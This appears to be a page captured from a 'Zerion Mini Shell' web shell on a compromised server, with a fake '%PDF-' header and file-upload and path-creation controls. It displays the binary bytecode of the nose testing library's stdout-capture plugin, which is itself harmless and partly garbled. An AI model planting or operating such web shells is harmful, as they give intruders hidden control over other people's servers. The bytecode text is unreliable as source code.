%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/nose/plugins/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyo

�
k�6Sc@s�dZddlZddlZddlZddlmZddlmZmZddl	m
Z
ddlmZeje
�Zdefd��YZdS(	s_
This plugin captures stdout during test execution. If the test fails
or raises an error, the captured output will be appended to the error
or failure output. It is enabled by default but can be disabled with
the options ``-s`` or ``--nocapture``.

:Options:
  ``--nocapture``
    Don't capture stdout (any stdout output will be printed immediately)

i����N(tPlugin(texc_to_unicodet
force_unicode(tln(tStringIOtCapturecBs�eZdZeZdZdZdZd�Zd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zeeddd�ZRS(s
    Output capture plugin. Enabled by default. Disable with ``-s`` or
    ``--nocapture``. This plugin captures stdout during test execution,
    appending any output captured to the error or failure output,
    should the test fail or raise an error.
    tNOSE_NOCAPTUREtcapturei@cCsg|_d|_dS(N(tstdouttNonet_buf(tself((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt__init__#s	cCs9|jddddd|j|j�dddd	�d
S(s%Register commandline options
        s-ss--nocapturetactiontstore_falsetdefaulttdestRthelpsUDon't capture stdout (any stdout output will be printed immediately) [NOSE_NOCAPTURE]N(t
add_optiontgettenv_opt(Rtparsertenv((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pytoptions'scCs"||_|jst|_ndS(s8Configure plugin. Plugin is enabled by default.
        N(tconfRtFalsetenabled(RRR((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt	configure0s		cCs|j�d|_dS(sClear capture buffer.
        N(tendR	R
(Rttest((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt	afterTest7s
cCs|j�dS(s0Replace sys.stdout with capture buffer.
        N(tstart(R((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pytbegin=scCs|j�dS(sFlush capture buffer.
        N(R(RR((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt
beforeTestBscCsK|j|_}d|_|s#|S|\}}}||j||�|fS(s-Add captured output to error report.
        N(tbuffertcapturedOutputR	R
taddCaptureToErr(RRterrtoutputtectevttb((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pytformatErrorGs	cCs|j||�S(s/Add captured output to failure report.
        (R*(RRR%((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt
formatFailureTscCs=t|�}t|�}dj|td�|td�g�S(Nu
u>> begin captured stdout <<u>> end captured stdout <<(RRtjoinR(RR(R&((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyR$YscCs/|jjtj�t�|_|jt_dS(N(RtappendtsysRR
(R((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyR_scCs"|jr|jj�t_ndS(N(RtpopR.(R((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyRds	cCsx|jr|j�qWdS(sRestore stdout.
        N(RR(Rtresult((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pytfinalizehscCs |jdk	r|jj�SdS(N(R
R	tgetvalue(R((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt_get_buffernssCaptured stdout output.N(t__name__t
__module__t__doc__tTrueRRtnametscoreRRRRR R!R*R+R$RRR1R3tpropertyR	R"(((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyRs(								
						(R6tloggingtosR.tnose.plugins.baseRtnose.pyversionRRt	nose.utilRRt	getLoggerR4tlogR(((sE/opt/alt/python27/lib/python2.7/site-packages/nose/plugins/capture.pyt<module>s

Zerion Mini Shell 1.0